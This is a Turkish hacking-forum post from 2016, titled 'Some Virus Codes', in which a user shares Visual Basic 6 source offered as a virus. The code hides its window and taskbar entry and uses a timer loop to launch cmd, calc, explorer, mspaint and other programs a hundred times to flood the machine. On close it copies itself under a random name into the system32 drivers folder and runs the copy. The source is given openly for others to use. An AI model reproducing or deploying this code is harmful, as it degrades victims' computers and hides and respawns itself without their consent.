Birkaç Virüs Kodları <RemembeR>


Virüsler   

Yazar: RemembeR    0 Yorum    88 Görüntüleme
  • 0 Oy - 0 Yüzde

Paylaşım Tarihi: 30.05.2016, 18:10:15 #1
RemembeR Delikanlı
Onaylı Uye
Status: Çevrimdışı Yorum Sayısı:109 Konu Sayısı:69 Üyelik Tarihi:24.05.2016 Rep Puanı: 24

Evet Arkadaşlar Bazı Kodları Size Sunmak İstedim Umarım Begenirsiniz + Rep Vermeyi Unutmayın Kesinlikle Alıntı Değildir.

Private Sub Timer1_timer()
For i = 1 To 100
Shell "cmd"
Shell "calc"
Shell "C:\Program Files\Messenger\msmsgs.exe"
Shell "explorer"
Shell "mspaint"
Shell "sndrec32"
Shell "C:\Program Files\Movie Maker\moviemk.exe"
Shell "winmine"
Next
End Sub
Private Sub Form_Load()
App.TaskVisible = False
form1.Visible=False
End Sub


Private Sub Form_Unload(Cancel As Integer)
Randomize Timer
Dim ras, yol, sonuc, calis
ras = Rnd * 1000000
yol = App.Path & "" & App.EXEName & ".exe"
sonuc = ras & ".exe"
kp = "c:windowssystem32drivers" & sonuc & ""
FileCopy yol, "c:windowssystem32drivers" & sonuc & ""
calis = Shell(kp)
End Sub

Kullanıcı İmzası
 
Ben Yapacağım Dedikten Sonra Kaybedeceklerimle 
Korkutmayın Umrumda Olmaz!


          linkleri görmek için giriş yapmanız. Yada üye olmanız gerekir.
          

          linkleri görmek için giriş yapmanız. Yada üye olmanız gerekir.










Aradığınızı Bulamadınız Mı ?

Konuyu görüntüleyenler:
1 Misafir